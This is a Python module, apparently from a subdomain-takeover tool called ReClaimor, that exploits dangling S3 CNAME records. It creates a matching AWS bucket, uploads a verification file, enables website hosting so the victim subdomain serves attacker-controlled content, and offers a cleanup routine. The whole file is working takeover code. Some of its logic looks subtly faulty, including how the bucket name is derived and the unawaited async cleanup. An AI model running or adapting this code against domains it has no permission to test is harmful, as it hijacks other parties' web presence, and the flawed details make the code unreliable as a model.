"""AWS S3 exploitation module."""
import os
from typing import Dict

from reclaimor.exploit.providers.base import BaseExploiter
from reclaimor.utils.logger import setup_logger

logger = setup_logger(__name__)


class S3Exploiter(BaseExploiter):
    """AWS S3 subdomain takeover exploiter."""
    
    async def exploit(self, domain: str, dns_info: Dict, http_info: Dict) -> Dict:
        """
        Attempt S3 takeover by creating a bucket.
        
        Requires AWS credentials (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY).
        """
        result = {
            "success": False,
            "method": None,
            "proof": None,
            "cleanup": None,
            "error": None,
        }
        
        try:
            import boto3
            from botocore.exceptions import ClientError
        except ImportError:
            result["error"] = "boto3 not installed (pip install boto3)"
            return result
        
        if not os.getenv("AWS_ACCESS_KEY_ID") or not os.getenv("AWS_SECRET_ACCESS_KEY"):
            result["error"] = "AWS credentials not set"
            return result
        
        cname = dns_info.get("cname", "")
        if not cname or "s3" not in cname.lower():
            result["error"] = "Not an S3 CNAME"
            return result
        
        # Extract bucket name from CNAME or use domain
        bucket_name = cname.split(".")[0] if "s3" in cname else domain.replace(".", "-")
        
        try:
            s3_client = boto3.client("s3")
            
            # Create bucket
            try:
                s3_client.create_bucket(Bucket=bucket_name)
            except ClientError as e:
                if "BucketAlreadyExists" in str(e):
                    result["error"] = "Bucket already exists (owned by someone else)"
                    return result
                raise
            
            # Create verification file
            verification_token = self._generate_verification_token(domain)
            verification_content = f"ReClaimor verification: {verification_token}"
            
            s3_client.put_object(
                Bucket=bucket_name,
                Key="reclaimor-verification.txt",
                Body=verification_content.encode(),
                ContentType="text/plain",
            )
            
            # Enable website hosting
            s3_client.put_bucket_website(
                Bucket=bucket_name,
                WebsiteConfiguration={
                    "IndexDocument": {"Suffix": "index.html"},
                    "ErrorDocument": {"Key": "error.html"},
                },
            )
            
            result["success"] = True
            result["method"] = "S3 bucket creation"
            result["proof"] = f"s3://{bucket_name}/reclaimor-verification.txt"
            result["cleanup"] = lambda: self._cleanup_bucket(bucket_name)
            
            logger.info(f"Successfully created S3 bucket: {bucket_name}")
        
        except Exception as e:
            logger.error(f"S3 exploitation error: {e}")
            result["error"] = str(e)
        
        return result
    
    async def _cleanup_bucket(self, bucket_name: str):
        """Delete the created S3 bucket."""
        try:
            import boto3
            s3_client = boto3.client("s3")
            
            # Delete all objects first
            objects = s3_client.list_objects_v2(Bucket=bucket_name)
            if "Contents" in objects:
                for obj in objects["Contents"]:
                    s3_client.delete_object(Bucket=bucket_name, Key=obj["Key"])
            
            # Delete bucket
            s3_client.delete_bucket(Bucket=bucket_name)
            logger.info(f"Cleaned up S3 bucket: {bucket_name}")
        except Exception as e:
            logger.error(f"Cleanup error: {e}")
